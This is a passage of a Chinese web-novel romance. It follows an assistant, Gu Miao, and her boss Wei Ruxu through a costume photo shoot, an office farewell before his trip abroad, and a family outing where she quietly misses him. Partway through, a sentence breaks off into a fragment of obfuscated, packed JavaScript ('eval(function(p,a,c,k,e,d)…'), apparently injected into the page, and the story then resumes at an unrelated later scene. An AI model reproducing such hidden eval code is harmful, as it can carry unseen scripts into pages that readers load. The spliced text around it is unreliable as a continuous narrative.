顾妙拿起手机浏览外卖餐单:“看不出你偶像包袱还挺重——你就是水肿到天际,在我们这凡夫俗子当中也是最美的好吗,有我们做绿叶衬托,你担心什么?” “我倒不是这个意思,只是担心小戚的拍摄效果。”魏如栩感觉自己好像被顾妙夸奖了,有点不自觉地翘尾巴,同时义正辞严地纠正,“是帅,不是美,形容词要用准确。” “好看,行了吧?你又来刻板印象,男人不可以美吗?女人不能帅吗?”顾妙翻到一家韩式包饭,把手机递给 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顾妙穿飞鱼服,发型很简单,戚滢滢把她长发扎起来,梳了个高发髻,用簪子固定住,为了好看,额头留出几缕短短的鲶鱼须,整个造型显得非常干练。 弄完头发,外卖送来,几个人狼吞虎咽,很快所有的紫菜包饭都下了肚,吃饭之后才敢上唇彩。戚滢滢一边吃,还一边帮魏如栩调整了妆容。等顾妙和魏如栩都换好衣服之后,化妆造型的效果就全都显现出来了。 魏如栩戴上帽子,身穿飞鱼服,脚踏黑色尖头靴,肩宽腰窄腿长,再拿上做道具的绣春刀,气质顿时变得英姿飒爽,俊逸潇洒。而顾妙女扮男装,秀美中更添几分英气,颇有巾帼不让须眉的洒脱。 顾肖举起手机对着他们不停拍:“姐,老魏,你们太帅了吧,我是你们的脑残粉!” 盛缘看着顾妙的造型,连连称赞:“妙妙姐个子高,腰细,身形挺拔,这一身男装打扮实在太惊艳了。” 顾妙和魏如栩互相看看,都被彼此帅气的样子给吸引了。别的不说,顾妙本来就是颜狗,见魏如栩这么一打扮,真是比电影里的武打明星都不遑多让。 “小魏总,我是你的颜粉,给我签个名吧!”顾妙满脑门都是追星女孩的粉红泡泡。 魏如栩更是从顾妙身上挪不开眼:“你还是我顾助理吗?怎么感觉你一身明星光?” 顾肖捂脸:“我看你俩就不要商业互吹了吧!都好看可以吗?” 魏如栩抽出绣春刀指向顾肖:“呔!你个孔雀妖,给我速速现出原形!” “哎呀,我好怕怕!”顾肖躲到盛缘身后,“神仙姐姐,快救我,小孔雀无以为报,愿以身相许!” 顾妙:“……” 盛缘轻轻摸了摸顾肖的狗头:“姐姐这就做法收了他们,以身相许就不必了,举手之劳,不足挂齿。” 这边演着戏,戚滢滢支好了两边灯箱,然后又让魏如栩和顾肖帮忙,把卷在窗上面的背景纸拉了下来。 “三面墙都占满了,只好把背景纸放在窗户上面,反正拍照都是在晚上,拉好窗帘就不怎么透光了。”戚滢滢笑呵呵地解释道。 顾妙感叹道:“你还真是聪明,这么会因地制宜,我刚刚都没注意到那上面有那么一大坨背景纸。” 戚滢滢摊了摊手:“这不没办法嘛,总共就这么大点地方,设计、剪裁、拍照全都得我自己来,只能慢慢研究怎么最方便,现在习惯了就都很快。好了,咱们快开始吧。” 眼看已经到了晚上十点多,大家也不敢再浪费时间,配合着戚滢滢拍照。 魏如栩很多年没有进过影楼,记忆中还是小时候跟爸爸妈妈去拍过全家福,现在很不适应这么矫揉造作的拍照方式,一时间手脚都不知道该往哪里放,就连戚滢滢的指示都做不到位。 好在这方面顾妙有经验,拉着魏如栩的手脚,像摆弄木偶似地摆弄他。 “脚分开点,再开点,哎,对了。”顾妙拿绣春刀敲着魏如栩的膝盖,然后拉过他的手放在自己腰上,“靠近点儿,要不镜头里不好看——躲那么老远干什么?我又没穿五彩霞衣,不扎人!对了,你腰再用力一点,要不显得不够挺拔精神。” 魏·僵尸·如栩:“……” 旁边的顾肖低头扶额:“天,我姐现在说话越来越豪迈了。” 魏如栩为了人物形象绷着脸,强行高冷,以最小幅度嚅动嘴唇:“你还真是专业模特啊?!” “闹呢?!不专业能靠这个挣钱吗?”顾妙十分得意,“上节目那个模特三十秒六十个pose,我顾小妙至少能做四十五个,已经很厉害了好吗?!” 魏如栩浑身僵硬,顾妙给他摆好了姿势他也不太敢动,被两边的灯箱烤得直冒汗:“真是天赋异禀……这也太遭罪了,我这哪是来拍照的,分明是来拉筋的。” 顾妙嫌弃地瞟了他一眼:“就你这几个简单的pose还拉筋?一会儿一看小缘吧,她那仕女风更得拉筋。” 盛缘猝不及防被点到名:“妙妙姐,你别吓我。” “没事啊小缘,听说你小时候学过舞蹈,不怕不怕。”顾妙终于调整好了姿势,冲戚滢滢点头,“滢滢,你看这样行吗?” 折腾了好一会儿,顾妙和魏如栩拍了无数张照,有背靠背拔刀的,有两人面对面站着同时回望的,有魏如栩用刀柄挑起顾妙下巴的——这个姿势是戚滢滢的突发奇想,却正中小魏总下怀——还有两人一站一坐等不同组合,再加上两个人各自单人照,总算集齐了戚滢滢认为足够的素材。 顾肖盛缘这一组就相对好拍一点,原本顾肖也够活泼,光自己照着古装剧想好的pose就很多,盛缘有点舞蹈基础,那些古装仕女的各种pose对她来说确实不在话下,两人配合也很有默契,很快完成拍照。 戚滢滢翻看着单反里的照片,很是开心:“谢谢大家,真是辛苦了,等活动结束了,我一定请你们吃饭!” “你就不要请客了,不怕破产吗。也不用谢,咱们都乐在其中,”魏如栩笑道,“聚餐可以有,客我来请。” “谢谢小魏总!”戚滢滢十分感动,眼里泪汪汪的。 魏如栩看她这副样子,受到了惊吓,忙不迭看向顾妙。 顾妙会意,拉着戚滢滢的手:“来来来,咱们几个合个影吧!” 顾肖大喊:“来个锦衣卫降妖图!不,孔雀妖被流云仙子拯救图!” “咔嚓”一声,锦衣卫降妖图有了。 又“咔嚓”一声,孔雀妖死皮赖脸缠着流云仙子图也有了。 最后“咔嚓”一声,服装设计师和众模特合影定格下了五张灿烂的笑脸。 81. 第八十一章 离别小练习 拍完照,大家筋疲力尽地换衣服卸妆,又帮戚滢滢收拾好了家里,折腾完已经半夜十二点了。 戚滢滢送大伙儿到门口:“辛苦你们了,妙妙姐小魏总明天见,小缘顾肖咱们漫展见,要是假期里你们没事,欢迎随时前来骚扰。” 顾妙打了个哈欠:“你也早点休息。” 众人纷纷告别,走到小区外边,魏如栩看了一眼困得不省人事的顾妙,对他们说:“你们在这儿等会儿,我把车开过来。” 顾肖只穿了一件长袖T恤,半夜里冻得有点哆嗦:“别啦,在这儿等着吹风,我们跟你一起走过去吧,小缘你冷吗?” “不冷,我今天穿得多。”盛缘很自然地靠近顾肖,挽起他的胳膊,跟他贴在一起,“给你点热乎气。” 顾妙又困又冷,裹紧身上的小外套,强打精神对魏如栩说:“一起走吧,省得你来回折腾。” 她还没反应过来,一件衣服从天而降,罩在她身上,熟悉的味道和体温立刻把她包裹了起来,那是魏如栩的棒球夹克,目前这位汉子只穿了一件薄的短袖衫。 “……”顾妙忙不迭把衣服往下扒,“你可不能感冒,明天就去看你爸了,带着两管大鼻涕算怎么回事……” 魏如栩还没来得及说话,神助攻顾肖在旁边吐槽:“姐,你就别瞎矫情了,抓紧走吧,早一分钟上车谁都感不了冒。” 顾妙:“……” 顾肖你给我等着! 四个人哆哆嗦嗦鹌鹑一样走了几条街才找到车,一坐上车,顾妙赶紧把外套还给了魏如栩,自己拉过车上的毯子盖着,想起来他明天要走,掏出手机来看航班出港情况。 “这几天天气都不错,应该能准点。”顾妙偏过头看魏如栩,“你有什么计划?需要安排人送你去机场吗?” 魏如栩开着车,脸上略显疲惫:“不用,我自己约辆车,估计明天会堵车,就别让公司的人折腾了。” 车里一时间有些沉默,就连一直欢脱的顾肖都没怎么说话。顾妙扭头看了他和盛缘一眼,见两人都没有睡着,只是靠在各自的窗边发呆。 “小缘,是不是有点累。”顾妙觉得还是有必要跟盛缘解释一下,“抱歉临时抓你们过来,实在是工作排不开,就没顾及你俩的时间。” 盛缘连连摆手:“妙妙姐,我没事的!反正在家闲着也是闲着。我就是看到小七住的那个地方,心里有点……” “我们将来也会那样吧?”顾肖丧丧地说,“一毕业就都得靠自己了,如果去外地工作的话,也要租房,肯定还要跟人合租,为了省点钱什么都得忍。” “滢滢是没办法,她东西多,租半地下室比较合适。”见两小只兴致陡然颓丧了下去,顾妙有点不忍心,想办法安抚,“你们跟她情况不一样,别想太多了。而且你们俩不是都要读研的吗?或许还要出国留学……” “去国外如果不是homestay的话也是租房。”半天没说话的魏如栩突然吭声,“一般也是合租,要是遇到个奇葩室友也够喝一壶的。” 顾妙好奇地看了他一眼:“你遇上过吗?” 魏如栩给了她一个“你想什么呢”的表情:“怎么会,我都是自己整租。” 顾妙默默把脸扭向窗外,抱歉哦,贫穷限制了了我的思维方式。 “感觉奋斗有点难。”顾肖干巴巴地说,“以前没仔细想过,总觉得什么困难自己都能克服。但今天身临其境……人间太真实了。” 盛缘:“是啊,我在小七的卧室换衣服,看到天花板上那么多霉迹,还有脱落的墙皮,想她居然天天生活在这样的环境里,心里就超级难受。难以想象将来我有可能住这样的房间。” “这算什么,以前我打工的店里那些服务员住的环境更差,老板随便租个隔板房,塞进去满满的上下铺,几平方米的空间住六到八个人,房间里还不一定有窗户。”顾妙想起那姑娘给自己描述的场景,现在提起来仍心有余悸,“别说霉迹了,说不定还有很多小动物呢!” 盛缘:“小动物?” “蚂蚁、老鼠、蟑螂……”顾肖掰着手指头开始数。 盛缘浑身发麻,立刻捂上他的嘴:“好了你不要再说了!” 顾妙感叹道:“其实我一直都觉得自己还算幸运,虽然也要努力工作,但至少没有去别的城市飘,能住在自己家里,睡在从小睡到大的床上,已经很幸福了。” 车内气氛压抑,显得车窗外夜色更加深沉,连印在墙上的树影都显得分外狰狞。大家突然都不说话了,各自望着熟悉的街道发呆。 “人和人不能比,阶层差异永远存在。出生在三线以下城市乡镇的,跟出生在一二线城市的人奋斗之路就是会不一样,所以还是得摆平心态。”魏如栩开车进了小区门,直奔盛然家的单元楼,“要说吃苦,可能我这个二世祖更没有发言权,也就不说那些道听途说来的东西打击各位的信心了。但我觉得,这种畏难情绪不过是生活落差所带来的一种应激反应,适应适应总会过去的。” 顾肖闷闷地说:“老魏我怀疑你在和稀泥,可惜我没证据。” “不是和稀泥,是煮鸡汤。”顾妙笑着看了魏如栩一眼,扭头对后面两小只说,“适当时候也要喝一点鸡汤,暖胃暖心。” “一时的艰苦是推动人奋斗的动力,大家努力半天,除了那些宏图大志之外,本质上不是就想打拼出一个自己想要的生活吗?”魏如栩把车停在盛然家楼下,打开车里的灯,带着笑意头回看顾肖和盛缘,“你们看戚滢滢,这不过得乐在其中吗?与自己所追求、所获得的相比,那些在你们看来无法忍受的东西,她其实根本不放在眼里。” “如栩哥说得有道理,反正不管怕不怕,都要走上独自面对世界的路,就还是不要提前焦虑啦,见招拆招吧!”盛缘拉开门跳下车去,回身冲大家告别,“哥哥姐姐顾肖,晚安好梦~” 顾肖恋恋不舍地冲她挥手,目送她走进单元楼,魏如栩这才发动汽车,驶向停车位,大家都精疲力尽,在家门口互道了晚安,回家都早点洗洗睡了。 第二天去了公司,顾妙发现家在外地的部分员工已经提前请假溜之大吉,剩下的要么是不打算回家或者出游的,要么是苦逼要留下来加班的。 甲方永远是掐着时间要提案,在项目面前,根本没有节假日一说。顾妙听说创意部和策划部的几个组只放中秋当天和国庆前三天,剩下时间都要回来加班。经过他们部门的时候,看那几位同仁脸都绿了。 她心想这HR也是够鸡贼,知道那几天加班费最高,特意避开,严格追究起来也是可以去仲裁的。可哪个想不开的员工会为了这样屁大点儿的事就去仲裁,难道不想要工作了吗?!所以规矩就是这么被无视的,导致很多公司都有恃无恐。 带着一身无法为人伸张正义的戾气,顾妙进了办公室,看到魏如栩端坐大班椅聚精会神盯着电脑,便把手头刚打印出来文件摞在他的案头,顺势冲他丢了个白眼,嘟囔道:“万恶的资本家!” 然后她端着自己的杯子去倒咖啡,多放了几个奶精球,替楼下同仁们“狠狠”薅了一把资本主义羊毛。 魏如栩:“???” 他随手翻了翻文件,喊顾妙:“顾助理,我哪里得罪你了?” 顾妙刚被咖啡烫了嘴,感觉上颚皮都被烫破了,心情更加焦躁。也说不清为什么,回想起来昨晚洗漱完倒头便睡,睡眠质量一如既往地好,可怎么今早一起来就气不顺,特别容易拱火。 她也不太想跟魏如栩说加班不公平之类的事,各个公司都这样,嘉栩算是比较好的了,苛责他并没什么意义。于是她抱着咖啡杯一步三磨蹭地到魏如栩桌前,嗫嚅着说了句:“没有。” “你脸上分明写着‘有’,还想骗人?”魏如栩匆匆翻了翻那几份文件,拿签字笔挨个“唰唰”地签名,然后把文件一推,抬头看顾妙,笑意盎然,“就要放假了还不高兴?” 他笑得越是比春花灿烂,顾妙莫名越是恼火,把目光移开,就看到魏如栩放在墙角的行李箱:“回来的时间不用改是吗?要改的话提前通知我啊,节假日的票可不好买。” 魏如栩绕到桌前,靠在她旁边,坐在桌上,打趣道:“听听,这是助理说的话吗?票不好买才体现出你的价值啊!” 顾妙捧着咖啡杯喝了一口,眼角没意识地又瞟了一眼行李箱,没说话。 可能我……舍不得他走?可这多大点儿事啊,这人五号不就回来了!顾小妙,出息呢? “你们订好去哪儿玩了吗?”魏如栩问道。 “可能去城郊的温泉山庄,远的地方也不去了,懒得折腾。那边还能爬山看景划竹排,附赠农家乐,也够玩的了。”顾妙想到这个头就大,今早家庭群里不顾她反对定下了这个旅游目的地,理由是小姨怀孕不能走远。 可顾妙也很恼火,孕妇也不能泡温泉不能爬山不能划竹排啊,那你们干嘛还要选这个地方?!温泉山庄里有个网红情侣打卡地,你们就是成心过去撒狗粮的,当我傻的吗?! 魏如栩有些诧异:“小姨不是……” 顾妙摆了摆手,一副懒得说的样子:“他们有他们的理由,也有自己的解决办法,我才不管。反正盛总出钱,定了四间豪华大床房,我能自己一个人住,闭着眼享受就好了。” “你脚腕怎么样了?能爬山?”魏如栩看向她的脚。 顾妙似乎怕被他看,向后撤了一步:“早好了,本来也不严重。” “对了,爱伴宠物那广告片是不是要得急?” “嗯,好像是两周内提交脚本初稿。” 顾妙想到这个也来气,过合同叽叽歪歪半天,好像时间不值钱,到了乙方履行义务的时候,俨然就成了火箭发射倒计时,恨不能抠着分针秒针催你交稿。 看到魏如栩若有所思的表情,顾妙安慰道:“你也别着急,听说策划A组和创意A组接这个项目,他们小长假会加班赶进度,等假期过了应该会有个雏形出来。” “所以你是因为这个才说我是万恶的资本家是吧?”魏如栩眉间舒展,狡黠地冲顾妙一笑,“可我怎么觉得你跟我好像坐的是同一条板凳呢?” 顾妙:“!!” 又被他套进去了! 不过话说回来,顾妙确实觉得自己有点精分。站在她小魏总的角度上,她自然是希望策划和创意两个组能把这事儿做得又快又漂亮,什么休假享乐等事儿完了再说;可站在她一个普通员工的角度上,还真是设身处地地觉得这些同事们真是一个“惨”字了得,觉得老板们都是吸血鬼。 再想下去真的要疯了! 顾妙叹了口气:“算了,我一条资本家的走狗,自己跟自己打什么架呢。” 魏如栩安慰似地摸了摸她的头发:“别担心,项目结束后他们都会有笔丰富的奖金,一定能够弥补加班的心理亏空。况且之后还能调休啊,拿着钱度假不香吗?” 钱串子顾妙立刻做出一张可怜的表情:“那我们总经办——具体指我,有奖金吗?” “你清醒一点吧,顾助理,人家业务部门才有提成。” 顾妙的耳朵都耷拉下来了,恹恹地:“哦。” 魏如栩险些憋不住笑,低头到桌前整理东西、关电脑,听到手机响,是网约车的师傅打来的电话,接通之后应了几句便挂断。 “顾助理,我走了,公司交给你了。”中午阳光灿烂,不用穿外套,魏如栩只穿了件宽松的白衬衣、牛仔裤和白球鞋,拉着拉杆箱的样子像一个要秋游的大学生,他冲顾妙挥挥手,“别太想我哦!” 顾妙莫名有点眼酸,用一记白眼压了过去:“想你什么?剥削我奴役我吗?快走吧,多陪老魏总待两天。” 魏如栩拉着箱子走到她面前,低头认真打量她,修长的手指点了点她的眉心,声音突然温柔了起来:“最近辛苦了,好好休息。” “嗯。”顾妙避开他的眼神,转身推了推他的后背,“走吧,小心司机师傅等急了取消订单。” 魏如栩看了她一眼,眼尾带着浓浓的笑意,目光停留了至少五秒,浓稠得让顾妙开始有些不自在,他才转过头去,拉着箱子出门。 那拉杆箱轱辘与地面摩擦的声音时断时续,二楼以木地板为主,声音有点大,接着没了声儿,应该是魏如栩提箱子下楼梯。 她下意识地跟出去,站在总经办门口,竖着耳朵仔细听,听见沙沙的摩擦声,便知道魏如栩已经到了一层,正往公司门口走。再往后,就听不见声音了,顾妙满心失落地想,他可能已经上电梯了吧。 突然间心里就空了一大块。 毕竟两个多月以来朝夕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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俗话说,远路无轻担,到了景点,她背着小狼跟挤在人群中,跟大家悠悠遛了半天山路之后,就觉得自己肩膀和后背都要断了。而且这几天气温突然回暖,连着突破三十度,室外有点闷热,顾妙背着沉重的“负担”,汗流浃背,苦不堪言。 猫是她自己要带的,总不好意思让别人背,再说顾妙哪好意思让盛然帮着背猫。顾肖这个活猴子拉着盛缘满山遍野地跑,总也见不着个人影。好不容易能逮到人,顾肖帮她背一会儿,下一秒他不知道又发现了什么新奇的东西,和盛缘窜出去看,于是猫包又到了顾妙手里。 顾妙算是明白了,自己做的孽,还是得自己还。 所以出游第一天的情况大致是这样:顾妙背着猫走出了万里长征的惨烈,到了景点,盛然和凌晏如合影,顾肖给他们拍照;顾肖和盛缘合影,盛然给他们拍照;他们两对要合影,顾妙给他们拍照;当中偶尔加上小狼做道具,如此循环往复,顾妙在一旁目光呆滞地看着,借机休息;最后大家拉顾妙合影,于是两对兴高采烈的情侣之间夹了一个神情沮丧、满脸疲惫的人形电灯泡。 到了网红情侣打卡地,所有情侣都疯狂了,排着长队过去合影。那个景点叫月老神树,实际上是棵长了很久很久的大榕树,据说有一百多年的历史。榕树是生长在南方的树,能在这北方小城长一株这么长寿的,本身就很神奇,再加上榕树象征爱情百年不老,近些年就成了情侣常来膜拜之地。 顾妙本想着在旁边找个树荫歇一会儿,顾肖非要拉她跟着一起排队。 “你什么意思,讽刺我单身狗吗?”顾妙有点抓狂。 顾肖委屈巴巴:“谁说只有情侣能拍照?你和狼的母子情不需要守护吗?” 顾妙:“……” “再说,月老神树下拍张照,说不定可以催动红鸾星呢?”顾肖眨眨他细长的丹凤眼,狡黠得像个狐狸。 这话肯定不是他想出来的,顾妙向前看排在前面的凌晏如,凌晏如假装跟盛然欣赏风景,迅速把头扭开。 盛缘劝道:“妙妙姐,难得来一次,错过了多可惜。” “就是,来都来了。”顾肖抛出了游客金句。 顾妙累得不想说话,见盛情难却,便把猫包丢进顾肖怀里,活动着脖子,面无表情地排在他们身后。 大榕树枝叶繁茂,树冠层层叠叠,具有独木成林的气势,绿色的枝条上挂了数不清的许愿锦囊,红绿交错,虽然有点艳俗,但是在自然界的滤镜下,视觉上平添一丝禅意。 一旁的月老像前也有不少人上香,烟气渺渺地将大榕树烘托得更是雄伟壮观。顾妙看着许多情侣虔诚祷告,手拉手把锦囊挂在树枝上,所求的大概都是百年好合、一生一世的愿景,这两天被狗粮麻木的心突然生出一丝羡慕。 她也想跟喜欢的人傻乎乎地一起排队,就为许下这么一个自认为心诚则灵的愿望,只可惜她想的那个人,却是她不该想的。 别人双双对对,更反衬出她形单影只,顾妙原本就颓丧的心情更加颓丧了,无聊地把目光移向别处。 看什么月老神树,还不如看漫山遍野层林尽染的风景。 队伍缓慢移动,终于轮到他们,盛然和凌晏如图个吉利,拍了几张照片意思一下完事儿,顾肖和盛缘属于“恋人未满”,也不太像别的小青年那样360度拍来拍去没个完,几张合影已经非常满足。 拍完照,顾肖走到顾妙跟前,把猫包接了过来,推了把顾妙:“去吧,姐。” 顾妙有点尴尬,别人都两人拍照,她自己一个人站过去岂不是傻得掉渣?于是此刻又打了退堂鼓。 “算了,我不拍了。”身后无数双情侣的眼睛盯着自己,顾妙只想落荒而逃。 “都轮到你了,别这么怂嘛!”顾肖打开猫包,把小狼抱出来,丢进顾妙怀里,“我外甥陪你。” 怕自己磨磨蹭蹭引起后面排队的人不满,顾妙只好抱着猫硬着头皮站到了大榕树底下。 顾肖举着手机:“姐,看我!” 凌晏如在旁边打气:“妙妙,笑一个,别丧着脸!” 顾妙看到那一大群排队的人,感觉自己在被展览,耻度爆棚,简直想要当场挖个地缝钻进去。 突然间不远处一个白色的身影一闪,顾妙诧异地望着那个方向,心脏停跳了一拍。 那不会是…… 她的表情空白了一秒,顾肖恰好把她这失神的样子抓拍了下来。 下一秒顾妙就回魂了,因为那个身穿白衣的人并不是魏如栩,只是一个身材相近的青年。 82. 第八十二章 苦尽甘来 这两秒的肾上腺素急剧起落把顾妙的心情直接拉到了谷底,摔死在地上起不来的那种。 她抱着小狼意兴阑珊地离开大榕树,向顾肖走去,排在后面的小情侣立刻迫不及待地冲了过来。 顾肖拨拉着手机上的图库:“这几张你都没笑,挑不出一张好看的。” 顾妙没搭理他,低着头拉过猫包,把小狼放进去。 盛缘看出她不对劲,关心地问:“妙妙姐,没事吧?” 凌晏如也凑了过来:“妙妙你怎么了?” “没事,有点累了。”顾妙觉得喉头发紧,鼻子发酸,眼泪呼之欲出,垂着头避开大家的眼神,“你们要去上香系锦囊吗?” 顾肖伸手接过猫包背上:“不了,我们就为打个卡。姐你累了咱们就回吧。” 盛缘点头:“就是,天色也晚了,晏如阿姨也得休息。” 盛然搂着凌晏如的肩膀:“对,今天逛得差不多了,咱们原路返回吧,回去酒店吃好吃的。” “真的不用,我歇一下就行。”顾妙有些内疚,她不想因为自己的原因害得大家玩不尽兴,“不是还有景点没逛嘛,给我歇个十分钟,又是生龙活虎一条好汉。” 凌晏如摸摸她的头:“你都累了我不更累?你就当心疼我一下吧,我想回去了。那些景点又跑不了,哪天逛不是逛。” “就是,走喽!”顾肖拉起顾妙,“盛叔叔说要请吃大餐,来前我研究过了,山庄里有家特别好吃的饭店,主打淮扬菜,听说特别好吃,那蟹粉狮子头肥而不腻……” 他一边说着,一边咽了下口水,顾妙被他说得也肚子开始咕咕叫,见大家都决意下山,也就不再坚持。 回程路有点漫长,不想在这上面浪费体力,盛然便截停了一辆电动游览车,五人带一猫全部上车。 车里两人一排,自然盛然跟凌晏如坐,顾肖跟盛缘坐,顾妙抱着猫包单独坐他们后排,靠着窗漫无目的地打量着一路看过来的风景,心里却不停谴责自己。 顾小妙,想什么呢,就算他真的来,也不可能还穿走的那天穿的衣服呀。不对,这个想法也不对,怎么能盼着他来呢?你们之间只是上下级关系,他现在最该做的,就是在国外好好陪父亲。 顾小妙,做人要懂分寸,不该是你的不要惦记,懂? 脑子里想得很清楚,心里却仍旧难以接受。刚刚强忍住的眼泪,这会儿趁着没人注意,突然汹涌澎湃,顺着顾妙的眼角流了下来。 顾妙一边擦眼泪一边恨自己不争气,怎么就突然情绪波动这么大,一定是因为太累了。 她看看怀里的小狼,小狼透过透明玻璃罩看她,打了个哈欠,向她伸了伸小肉爪。 带他出来之前,还担心他怕人,出来会应激。谁知这货天生合该混街头,一点也不害怕,景区那么多游客,他瞪着大眼好奇地四下张望。被抱出来合影的时候,周围有小姑娘们凑上来摸他逗他,他都非常配合,眯起眼睛任撸,看起来十分享受这种众星拱月的待遇。 顾妙轻轻点着玻璃罩:“小狼陛下,可把你娘我累坏了。咱明天就不出门了吧!” 小狼冲她“喵”了一声,像是在说“朕准了”。 顾妙叹了口气,继续欣赏风景,脑海里魏如栩的影子却始终挥之不去。这几天怕打扰他跟父亲相聚,顾妙没给他发过微信,可魏如栩那边也毫无动静,连朋友圈也无事发生。 他不会因为公司的事情挨批了吧?除了创意B组招人安排得不是很妥当之外,他也没闯什么祸呀。也不知道老魏总是什么脾气,他应该知道这事儿不能全赖魏如栩吧? 突然她就脑补出一幅画面:魏如栩裸着上身,露出最近练出轮廓的美好肌肉线条,跪在地上“咣咣”挨家法,他嘴唇抿成一条直线,咬牙忍住,紧皱的眉宇间透出一股桀骜不驯的英气,顺着脸颊流下来的汗水滴在了坚实的胸肌上…… 打住! 顾妙把已经跑偏了的思绪强行拉回来,摸了摸自己有点发烫的脸,暗暗想:“放假好无聊,想回去上班了怎么办。” 这么想会被那些被强行要求加班的同事们打死吧?! 顾肖低着头一直看手机,盛缘看了会儿风景回头看他:“盯着手机不怕晕车吗?” “我在钓鱼。”顾肖神秘兮兮地说。 “又搞什么鬼?” 顾肖把手机凑到她眼前:“这是一条具有召唤功能的朋友圈。” 盛缘看着他的手机屏幕,顾肖把刚刚顾妙抱着猫站在大榕树下失魂落魄的那张照片发上了朋友圈,配的文字是“硬核少女,日行一丧”。 “什么召唤功能,我看是找揍功能还差不多。”盛缘平时在人前绝对给顾肖留足面子,绝不冷嘲热讽,但两人相处就自在得多,有什么说什么。 盛缘话音未落,顾肖后脑勺就挨了顾妙一记追风掌,接着又被捏着后颈皮拎到座位靠背上。 “哎姐,疼!”顾肖哀嚎。 顾妙阴恻恻的声音从他耳边传过来:“给我删了!” 盛缘看着顾肖狼狈的样子,捂嘴窃笑,顾肖郁闷,伸手拍掉顾妙的狗爪子:“大庭广众之下,给我留点面子行不行?” “发朋友圈之前怎么不想着给自己留面子呢?!”顾妙咬牙切齿,“我数三个数,你要是不删,可别怪我下手狠,一、二……” 顾肖感到手机一震,挣扎着低头看了一眼,也不知道看到了什么,立刻变脸:“我删!” 他在手机上操作了一下:“删掉了,不信你看!” 顾妙看了眼手机,这才放过他:“算你小子识相,再有下回,我剥了你的皮!” “绝对没有下回!”顾肖信誓旦旦地说,转回头肩膀碰了碰盛缘,把手机给她看,轻声说,“瞧,这不召唤出来了。” 盛缘看到那是魏如栩和顾肖的对话窗口,小魏总没有寒暄,单刀直入:【你姐为什么丧?】 “你还挺费劲的啊!”盛缘扶额,“为了成功引起如栩哥的注意、又不显得刻意,这办法倒也还行。” 顾肖洋洋得意:“不错吧?” 手机上魏如栩又发来了信息:【怎么秒删了?发她照片挨揍了?】 “你这条屏蔽妙妙姐不就完了?”盛缘伸手揉了揉顾肖的后颈,“瞧都给揪红了。” 顾肖从小挨揍挨到大,并不在意:“懒。” 魏如栩一直没得到回复,又发来一条:【??】 顾肖盯着屏幕嘿嘿直乐:“瞧这关心劲儿。” 盛缘胳膊捣了捣顾肖:“别闹人家了,赶紧回他吧。” 顾肖回复魏如栩:【不知道啊,她也不说,一路都不高兴。要不你问她?】 魏如栩过了一会儿才说:【把你姐那张照片原图发我呗。】 顾肖:【拿什么交换?】 魏如栩:【早想好了,给女同学们带面膜,行吗?有别的需要把照片和牌子整理好发我,回去的时候我去免税店买。】 顾肖:【跟聪明人说话就是不费劲!】 魏如栩:【要原图的事,别跟你姐说。】 顾肖:【我这么机智,会犯这样愚蠢的错误?】 魏如栩发来一个“你人一定要这么飘吗”的表情,终结了对话。 顾妙那边对此一无所知,仍旧痴痴呆呆望着窗外。游览车已经到了温泉山庄门口,大家伙陆陆续续下车,盛然带着人往饭店走,顾妙则把小狼先放回房间,一会儿再过去找他们。 盛然一边走一边回头看顾肖和盛缘:“刚才你们闹腾什么呢?” 对于盛缘跟顾肖的关系,盛然没有端过家长的架子,也没多问。但顾肖心里有数,这说不定是在暗中观察他呢,所以他活泼归活泼,在盛然面前还是很注意分寸。 于是顾肖如此大概地把过程描述了一遍,解释道:“其实我就是想给他们助攻一下。” 盛然若有所思地看了看凌晏如,凌晏如摊摊手:“劝你们不要轻易尝试,前几天我们还差点把妙妙惹急了。” 顾肖:“我就传个信儿,剩下的看老魏自己了。” 饭店装修得很精致,小桥流水,风景优美,服务员把他们带到了包间里,大家纷纷落座,顾肖很有眼力见地把菜单递给了盛然和盛缘。 盛缘还没看菜单,第一个就点了顾肖刚刚提到都流口水的蟹粉狮子头,然后就把菜单推给了凌晏如:“晏如阿姨来点吧,我们吃什么都行,顾肖,咱们先去洗个手。” 点完菜之后,服务员离开,包间里就剩下凌晏如和盛然。 凌晏如笑道:“你侄女很会疼人啊。” 盛然挑了挑眉:“那当然,也不看谁教育出来的。” “顾肖跟她走得近,你不介意?” “有什么可介意的,她从小学就开始收情书了,到大学肯定很多人追。”盛然笑意中带着一丝嘚瑟,“顾肖是知根知底的孩子,他俩在一块我放心。只要不耽误学习就行。再说小缘一向冷静清醒,自己的事情她心里有数,不用我多操心。” 凌晏如点点头:“我看他俩也挺好的,双商都高。况且这才刚上大学,未来还不知道怎么样,咱们也没必要瞎掺和。就是妙妙实在让我头疼。” “我也纳闷,如栩也算一表人才,不至于追个姑娘还这么费劲吧?况且他把家都搬到妙妙隔壁了,这意思还不够清楚?我看妙妙也不是不喜欢他,张口闭口都是小魏总、我老板,那她到底是怎么回事?” 凌晏如沉吟着,不知道该怎么表达,顾妙的心结她知道,也完全能理解,就是觉得这样随便说给盛然听,似乎也不太合适。 好在盛然领悟力高,自己琢磨出了一点味道:“那天吃饭,她说到门当户对……妙妙不会现在还存在这种想法吧?她因为这个不接受如栩?” 凌晏如叹了口气:“原因很复杂,可以说各种因素都有吧。你看着妙妙外在胆大心宽,但在感情上她又非常谨小慎微,这也跟她父母去世有关。我这外甥和外甥女,受他们父母的熏陶,在感情上都是一心一意的,不轻易开始,开始了就不会轻易结束。顾肖算是幸运,现在遇上小缘,可妙妙和如栩之间……还是有差距的。” “你是说身份差距?”盛然瞬间领悟到,“可妙妙是个女孩啊,怕什么……” “你们男性思维真是可怕。”凌晏如看了盛然一眼,“两人起点不一样,接触过的世界不一样,成长轨迹也可能会不同。我想妙妙可能是担心,她的存在会让如栩为她做出牺牲。就像飞鸟和鱼,不是一个世界的生物,如果非要在一起的话,总有人要做出牺牲,一般是情况更好的人向下兼容,但她不想这样。” “我明白了。”盛然反应过来,“就是本来一个人挺好,也很自信,但遇到另一个各方面情况都比自己好一些的人,就会产生一种莫名其妙的自卑感,觉得好像因为自己的原因拖累了对方,但回过头来想,自己又没什么不好——总之就是两种思路来回打架,所以觉得找个‘门当户对’的才没烦恼,是这样吗?” 凌晏如喝了口茶:“差不多吧。” 